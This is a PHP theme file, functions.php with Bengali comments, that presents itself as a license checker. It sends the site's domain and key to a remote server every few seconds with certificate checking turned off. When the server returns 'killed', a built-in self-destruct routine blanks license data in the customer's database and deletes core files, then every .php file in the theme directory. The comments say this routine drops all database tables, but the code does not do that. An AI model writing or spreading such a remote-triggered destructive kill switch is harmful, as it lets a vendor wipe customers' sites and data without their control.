<?php
/**
 * functions.php (Theme License Checker)
 * আপডেট: লাইসেন্স একবার অ্যাক্টিভ হলে আজীবন লোকাল ভেরিফিকেশন, অন্য ডোমেইন প্রটেকশন,
 * এবং মেইন সার্ভার থেকে কিল করা হলে কোর ফাইলসমূহ স্বয়ংক্রিয়ভাবে ডিটেক্ট করে মুছে ফেলা (Self-Destruct) লজিক।
 * নতুন আপডেট: রিমোট কিল সিগন্যাল পেলে ক্লায়েন্ট ডাটাবেজের সমস্ত টেবিল ও লাইসেন্স তথ্য সম্পূর্ণ মুছে ফেলা (Drop All Tables)।
 * বাগ ফিক্স: ব্যাকআপ আপলোড বা লাস্ট চেক ফাইল মুছে ফেললে বাধ্যতামূলক সার্ভার চেক ট্রিগার করা (Bypass Protection)।
 */

// লাইসেন্স এক্টিভেশন স্ট্যাটাস ট্র্যাকিং
$is_theme_active = false;

/**
 * 💀 সেলফ-ডেসট্রাকশন ফাংশন (Self-Destruct System)
 * সার্ভার থেকে কিল সিগন্যাল পেলে এই ফাংশনটি ক্লায়েন্ট ডাটাবেজ খালি করবে এবং পুরো থিম ডিরেক্টরির ফাইলগুলো মুছে ফেলবে।
 */
function trigger_theme_self_destruct() {
    // --- ডাটাবেজ প্রটেকশন লজিক ---
    // ব্যাকআপ আপলোড করলেও যেন ডাটাবেজে পুরোনো কি বা টেবিল না থাকে, সেজন্য সব টেবিল ডিলিট করা হচ্ছে
    try {
        // গ্লোবাল কানেকশন অবজেক্ট যাচাই ও স্কোপিং ঠিক করা
        global $pdo, $conn, $db;

        // নতুন সামঞ্জস্যপূর্ণ db_compat.php ফাইল ইনক্লুড করা হচ্ছে যা কানেকশন হ্যান্ডেল করবে
        // include_once এর পরিবর্তে include ব্যবহার করা হয়েছে যাতে ফাংশন স্কোপে রি-লোডের চেষ্টা করে
        if (file_exists('db_compat.php')) {
            @include 'db_compat.php';
        } elseif (file_exists('db_config.php')) {
            @include 'db_config.php';
        }
        
        // যদি db_compat ব্যর্থ হয়, তবে ব্যাকআপ হিসেবে theme_license কলামের ডেটা ডিলিট করার চেষ্টা করবে
        if (isset($pdo) && $pdo instanceof PDO) {
            $stmt = $pdo->prepare("UPDATE theme_license SET purchase_code = ''");
            $stmt->execute();
        } elseif (isset($conn) && $conn instanceof mysqli) {
            @mysqli_query($conn, "UPDATE theme_license SET purchase_code = ''");
        } elseif (isset($db) && $db instanceof mysqli) {
            @mysqli_query($db, "UPDATE theme_license SET purchase_code = ''");
        }
    } catch (Exception $e) {
        // ডাটাবেজ এরর আসলেও ফাইল ডিলিট প্রসেস যেন না আটকায়, তাই এটি ক্যাচ করা হলো
    }

    // যেসব কোর ফাইল আমরা ডিলিট করতে চাই (অতিরিক্ত সুরক্ষার জন্য তালিকা)
    $target_files = [
        'index.php',
        'admin.php',
        'db_config.php',
        'db_compat.php', // নতুন ফাইলটিও ডিলিট তালিকার অন্তর্ভুক্ত করা হলো
        'functions.php',
        'security_check.php',
        'user_mgmt.php',
        'license_checker.php',
        'license_token.txt',
        'license.txt',
        'license_last_check.txt',
        'license_server_paused.txt'
    ];

    // ১. নির্দিষ্ট কোর ফাইলগুলো ডিলিট করা
    foreach ($target_files as $file) {
        if (file_exists($file)) {
            @chmod($file, 0777); // ডিলিট করার সুবিধার্থে ফুল পারমিশন রাইট দেওয়া হলো
            @unlink($file);
        }
    }

    // ২. ডাইনামিক ডিরেক্টরি স্ক্যান এবং ক্লিনআপ (অ্যাডভান্সড প্রোটেকশন)
    // এটি বর্তমান ফোল্ডারের অন্যান্য পিএইচপি ফাইলগুলোকেও খুঁজে মুছে ফেলে
    $current_dir = dirname(__FILE__);
    if ($handle = opendir($current_dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $ext = pathinfo($entry, PATHINFO_EXTENSION);
                // ফোল্ডারের যেকোনো .php ফাইল ডিলিট করার চেষ্টা করবে
                if (strtolower($ext) === 'php') {
                    @chmod($entry, 0777);
                    @unlink($entry);
                }
            }
        }
        closedir($handle);
    }

    // ৩. শেষ এরর মেসেজ দেখিয়ে এক্সিকিউশন চিরতরে বন্ধ করা
    if (ob_get_level() > 0) ob_clean();
    header('HTTP/1.1 403 Forbidden');
    die("<div style='padding:50px; text-align:center; font-family:sans-serif; background:#0f172a; color:#f8fafc; min-height:100vh; display:flex; flex-direction:column; align-items:center; justify-content:center; margin:0;'>
            <div style='background:#fef2f2; padding:20px; border-radius:50%; width:60px; height:60px; display:flex; align-items:center; justify-content:center; margin-bottom:20px; border: 1px solid #fecaca;'>
                <span style='color:#ef4444; font-size:30px;'>💀</span>
            </div>
            <h2 style='color:#f8fafc; font-size:24px; font-weight:800; margin-bottom:10px;'>নিরাপত্তা লঙ্ঘন সনাক্ত করা হয়েছে</h2>
            <p style='color:#94a3b8; max-width:400px; font-size:14px; line-height:1.6;'>এই লাইসেন্সটির ব্যবহার বাতিল করা হয়েছে। অবৈধ ব্যবহারের কারণে সিস্টেম ফাইলসমূহ এবং ডাটাবেজ লাইসেন্স তথ্য সার্ভার থেকে চিরতরে মুছে ফেলা হয়েছে।</p>
         </div>");
}

function check_theme_license($license_key = "") {
    global $is_theme_active;
    
    $server_url = "https://swiftdev.xyz/verify.php"; 
    $current_domain = $_SERVER['HTTP_HOST'];
    $salt = "SALT_SECRET_CODE"; // এটি আপনার সার্ভারের verify.php এর SALT এর সাথে হুবহু মিল থাকতে হবে
    
    // ১. লোকালহোস্ট চেক
    $local_hosts = ['localhost', '127.0.0.1', '::1'];
    if (in_array($current_domain, $local_hosts) || empty($current_domain)) {
        $is_theme_active = true;
        return true; 
    }

    if (empty($license_key)) {
        license_error_ui($current_domain, "লাইসেন্স কী পাওয়া যায়নি।");
    }

    // ২. লোকাল টোকেন যাচাই ফাংশন (Fail-safe এর জন্য)
    $verify_local_token = function() use ($license_key, $current_domain, $salt) {
        if (file_exists('license_token.txt')) {
            $saved_token = trim(file_get_contents('license_token.txt'));
            $expected_token = hash_hmac('sha256', $license_key . $current_domain, $salt);
            return ($saved_token === $expected_token);
        }
        return false;
    };

    // ৩. ব্যাকগ্রাউন্ড সাইলেন্ট আপডেটের জন্য টাইম-কন্ট্রোল লজিক (৫ সেকেন্ডে একবার)
    $last_check_file = 'license_last_check.txt';
    $needs_server_check = true;

    // সার্ভারে পজড স্ট্যাটাস ফ্ল্যাগ করা থাকলে লোকাল টোকেনকে বাইপাস করবে
    $server_paused_flag = 'license_server_paused.txt';

    if ($verify_local_token() && !file_exists($server_paused_flag)) {
        // যদি লোকাল টোকেন সঠিক থাকে এবং সার্ভার পজড ফ্ল্যাগ না থাকে, তবে সরাসরি থিম সক্রিয় করা হলো
        $is_theme_active = true;
        $needs_server_check = false;

        // চেক করা হবে শেষ সার্ভার চেক কখন হয়েছিল
        if (file_exists($last_check_file)) {
            $last_check_time = (int)trim(file_get_contents($last_check_file));
            $time_diff = time() - $last_check_time;
            
            // যদি ৫ সেকেন্ড অতিবাহিত না হয় এবং টাইম টেম্পারিং না হয়ে থাকে, তবে সার্ভার চেক এড়ানো হবে
            if ($time_diff >= 0 && $time_diff < 5) {
                return true; 
            }
            $needs_server_check = true; // ৫ সেকেন্ড পার হলে ব্যাকগ্রাউন্ডে একবার চেক করার অনুমতি দেওয়া হলো
        } else {
            // সিকিউরিটি বাইপাস প্রটেকশন: লাস্ট চেক ফাইল রিমুভড বা মিসিং হলে অবশ্যই সার্ভার ভেরিফাই করতে হবে
            $needs_server_check = true;
        }
    }

    // ৪. সার্ভার চেক প্রোসেস (প্রথম অ্যাক্টিভেশন অথবা ৫ সেকেন্ডের সাইলেন্ট চেক)
    if ($needs_server_check) {
        $api_url = $server_url . "?domain=" . urlencode($current_domain) . "&key=" . urlencode($license_key);
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $api_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10); // সার্ভার রেসপন্স না দিলে ১০ সেকেন্ড পর কেটে যাবে
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, 'SwiftDevLicenseManager/1.0');

        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        // ৫. রেসপন্স হ্যান্ডলিং
        if ($http_code == 200) {
            $result = json_decode($response, true);
            
            // ক) লাইসেন্স সম্পূর্ণ ভ্যালিড হলে
            if (isset($result['status']) && $result['status'] === 'valid') {
                if (isset($result['token'])) {
                    file_put_contents('license_token.txt', $result['token']);
                }
                // পজড স্ট্যাটাসের কোনো পুরোনো ফ্ল্যাগ থাকলে ডিলিট করে দেওয়া হবে
                if (file_exists($server_paused_flag)) @unlink($server_paused_flag);
                
                file_put_contents($last_check_file, time()); // শেষ সফল চেকের সময়টি সেভ রাখা হলো
                $is_theme_active = true;
                return true; 
            } 
            // খ) লাইসেন্স যদি রিমোটলি কিল করা হয় (ডাটাবেজে remote_kill = 1 হলে)
            elseif (isset($result['status']) && $result['status'] === 'killed') {
                // সেলফ-ডেসট্রাক্ট ট্রিগার করা হলো
                trigger_theme_self_destruct();
            }
            // গ) সার্ভার যদি ইনভ্যালিড/পজড বা লিমিট রিচড রেসপন্স দেয়
            else {
                // পজড বা ইনভ্যালিড হলে লোকাল ফাইল সিস্টেমে একটি পজড ট্র্যাকার ফ্ল্যাগ তৈরি করা হবে
                file_put_contents($server_paused_flag, 'paused');
                
                if (file_exists('license_token.txt')) @unlink('license_token.txt');
                if (file_exists($last_check_file)) @unlink($last_check_file);
                
                $error_msg = isset($result['message']) ? $result['message'] : 'লাইসেন্সটি বৈধ নয়।';
                license_error_ui($current_domain, $error_msg);
            }
        } else {
            // ৬. Fail-safe মেকানিজম (সার্ভার ডাউন বা ইন্টারনেট না থাকলে)
            // সার্ভার ডাউন হলেও যদি পূর্বে পজড ফ্ল্যাগ থেকে থাকে, তবে সাইট রান করবে না
            if ($verify_local_token() && !file_exists($server_paused_flag)) {
                // পূর্ববর্তী ডোমেইন ভ্যালিডেশন সফল ছিল এবং সার্ভার অফলাইনে থাকলে থিম সচল রাখবে
                $is_theme_active = true;
                return true;
            } else {
                license_error_ui($current_domain, "লাইসেন্স সার্ভারের সাথে যোগাযোগ করা সম্ভব হচ্ছে না এবং কোনো বৈধ লোকাল ক্যাশ পাওয়া যায়নি।"); 
            }
        }
    }
}

/**
 * লাইসেন্স এবং টোকেন আপডেট হ্যান্ডলার
 */
if (isset($_POST['update_theme_license'])) {
    $new_key = trim($_POST['new_license_key']);
    if (!empty($new_key)) {
        file_put_contents('license.txt', $new_key);
        // নতুন কি সেট করলে পুরাতন লগ এবং ফ্ল্যাগ ডিলিট করতে হবে যাতে নতুন করে ভেরিফাই হয়
        if (file_exists('license_token.txt')) @unlink('license_token.txt');
        if (file_exists('license_last_check.txt')) @unlink('license_last_check.txt');
        if (file_exists('license_server_paused.txt')) @unlink('license_server_paused.txt');
        header("Location: " . $_SERVER['PHP_SELF']);
        exit();
    }
}

function license_error_ui($domain, $debug_msg) {
    if (ob_get_level() > 0) ob_clean();
    die("
    <div style='background: #f1f5f9; color: #1e293b; padding: 20px; text-align: center; font-family: sans-serif; min-height: 100vh; display: flex; align-items: center; justify-content: center; margin: 0;'>
        <div style='background: #fff; padding: 40px; max-width: 500px; width: 100%; border-radius: 32px; box-shadow: 0 25px 50px -12px rgba(0,0,0,0.1); border: 1px solid #e2e8f0;'>
            <div style='background: #fef2f2; width: 80px; height: 80px; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 24px;'>
                <span style='color: #ef4444; font-size: 40px;'>⚠️</span>
            </div>
            <h1 style='font-size: 22px; font-weight: 800; margin-bottom: 8px; color: #0f172a;'>লাইসেন্স অ্যাক্টিভেশন প্রয়োজন</h1>
            <p style='font-size: 14px; color: #64748b; margin-bottom: 24px;'>ডোমেইন: <b>" . htmlspecialchars($domain) . "</b></p>
            
            <div style='background: #fff1f2; padding: 16px; font-size: 13px; color: #991b1b; margin-bottom: 24px; border-radius: 16px; text-align: left; border: 1px solid #fecaca;'>
                <strong>বার্তা:</strong> " . htmlspecialchars($debug_msg) . "
            </div>

            <form method='POST'>
                <input type='text' name='new_license_key' placeholder='লাইসেন্স কি (Key) দিন...' required 
                       style='width: 100%; padding: 14px; border: 2px solid #e2e8f0; border-radius: 14px; margin-bottom: 15px; box-sizing: border-box; text-align: center;'>
                <button type='submit' name='update_theme_license' 
                        style='width: 100%; background: #0f172a; color: #fff; padding: 14px; border: none; border-radius: 14px; font-weight: 700; cursor: pointer;'>
                    অ্যাক্টিভেট করুন
                </button>
            </form>
        </div>
    </div>");
}

// লোড লাইসেন্স
$theme_license_key = "C59D24FD-55646BF0"; 
if (file_exists('license.txt')) {
    $theme_license_key = trim(file_get_contents('license.txt'));
}

check_theme_license($theme_license_key);
?>